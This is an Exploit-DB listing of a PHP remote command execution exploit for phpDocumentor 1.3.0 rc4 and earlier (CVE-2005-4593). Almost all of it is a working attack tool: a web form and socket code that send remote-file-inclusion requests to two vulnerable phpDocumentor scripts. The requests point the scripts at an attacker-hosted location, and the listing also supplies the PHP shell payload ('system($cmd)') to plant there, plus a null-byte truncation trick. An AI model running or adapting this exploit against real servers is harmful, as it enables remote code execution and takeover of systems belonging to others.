phpDocumentor <= 1.3.0 rc4 - Remote Commands Execution Exploit

2005-12-29T00:00:00
ID EDB-ID:1395
Type exploitdb
Reporter rgod
Modified 2005-12-29T00:00:00

Description

phpDocumentor <= 1.3.0 rc4 Remote Commands Execution Exploit. CVE-2005-4593. Webapps exploit for php platform

                                        
                                            &lt;?php
#   ---phpdocu_130rc4_incl_xpl.php                            13.06 29/12/2005 #
#                                                                              #
#              PhpDocumentor &lt;= 1.3.0 rc4 remote commands execution            #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
# Sun-Tzu: "Confront your soldiers with the deed itself; never let them know   #
# your design.  When the outlook is bright, bring it before their eyes; but    #
# tell them nothing when the situation is gloomy."                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'&lt;html&gt;&lt;head&gt;&lt;title&gt;**PhpDocumentor &lt;= 1.3.0 rc4 remote commands execution**
&lt;/title&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
&lt;style type="text/css"&gt; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;p class="Stile6"&gt;
**PhpDocumentor &lt;= 1.3.0 rc4 remote commands execution**&lt;/p&gt;&lt;p class="Stile6"&gt;a
script  by  rgod  at        &lt;a href="http://rgod.altervista.org"target="_blank"&gt;
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt;  &lt;form
name="form1" method="post"   action="'.$SERVER[PHP_SELF].'"&gt;           &lt;p&gt;&lt;input
type="text"  name="host"&gt; &lt;span class="Stile5"&gt;* hostname (ex:www.sitename.com)
&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="text" name="path"&gt;  &lt;span class="Stile5"&gt;* path (ex:
/phpdocumentor/  or just / ) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="CMD"&gt;  &lt;span
class="Stile5"&gt; * specify a command     &lt;/span&gt;&lt;/p&gt;    &lt;p&gt;    &lt;input type="text"
name="LOCATION"&gt;&lt;span class="Stile5"&gt;* remote location ( ex: http://www.somesite
.com, without traling slashes)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="port"&gt;&lt;span
class="Stile5"&gt;specify  a  port other than  80 (default value)&lt;/span&gt; &lt;/p&gt;   &lt;p&gt;
&lt;input  type="text" name="proxy"&gt;&lt;span class="Stile5"&gt;send  exploit  through  an
HTTP proxy (ip:port)&lt;/span&gt; &lt;/p&gt; &lt;p&gt;          &lt;input type="submit" name="Submit"
value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border="0"&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
      for ($li=0; $li&lt;=15; $li++) {
        echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
		}
      $ki=$ki+16;
      echo "&lt;/tr&gt;&lt;tr&gt;";
    }
    if (strlen($datai)==1) {
      echo "&lt;td&gt;0".$datai."&lt;/td&gt;";
    }
    else {
      echo "&lt;td&gt;".$datai."&lt;/td&gt; ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
  }
  echo "&lt;/tr&gt;&lt;/table&gt;";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.&lt;br&gt;";
  echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
  }
  else {
    echo "OK.&lt;br&gt;&lt;br&gt;";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:&lt;br&gt;";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port]; $CMD=$_POST[CMD];
$LOCATION=$_POST[LOCATION];


if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($CMD&lt;&gt;'') and ($LOCATION&lt;&gt;''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);
  $CMD=urlencode($CMD);

  $packet="GET ".$p."Documentation/tests/bug-559668.php?cmd=".$CMD."&FORUM[LIB]=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; die;}
                           else {echo "Trying Step 2...&lt;br&gt;";}

  $packet="GET ".$p."docbuilder/file_dialog.php?cmd=".$CMD."&root_dir=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: SnoopRob/x.x\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded"; }
                           else {echo "Exploit failed...";}
}
else
{echo "Note: on remote location prepare this code in&lt;br&gt;
        http:/[remote_location]/classes/db/PearDb.php/index.html&lt;br&gt;
        and in&lt;br&gt;
        http://[remote_location]/phpDocumentor/common.inc.php/index.html:&lt;br&gt;";
 echo  nl2br(htmlentities("
        &lt;?php
        echo\"HiMaster!\";ini_set(\"max_execution_time\",0);system(\$cmd);
        ?&gt;
        "));
  echo "&lt;br&gt;Note 2: if magic_quotes_off on target server&lt;br&gt;
        you can truncate location name with a null char, ex.:&lt;br&gt;
        http://[remote_location]/your_file.txt%00&lt;br&gt;&lt;br&gt;
        Fill * required fields, optionally specify a proxy...";}

?&gt;

# milw0rm.com [2005-12-29]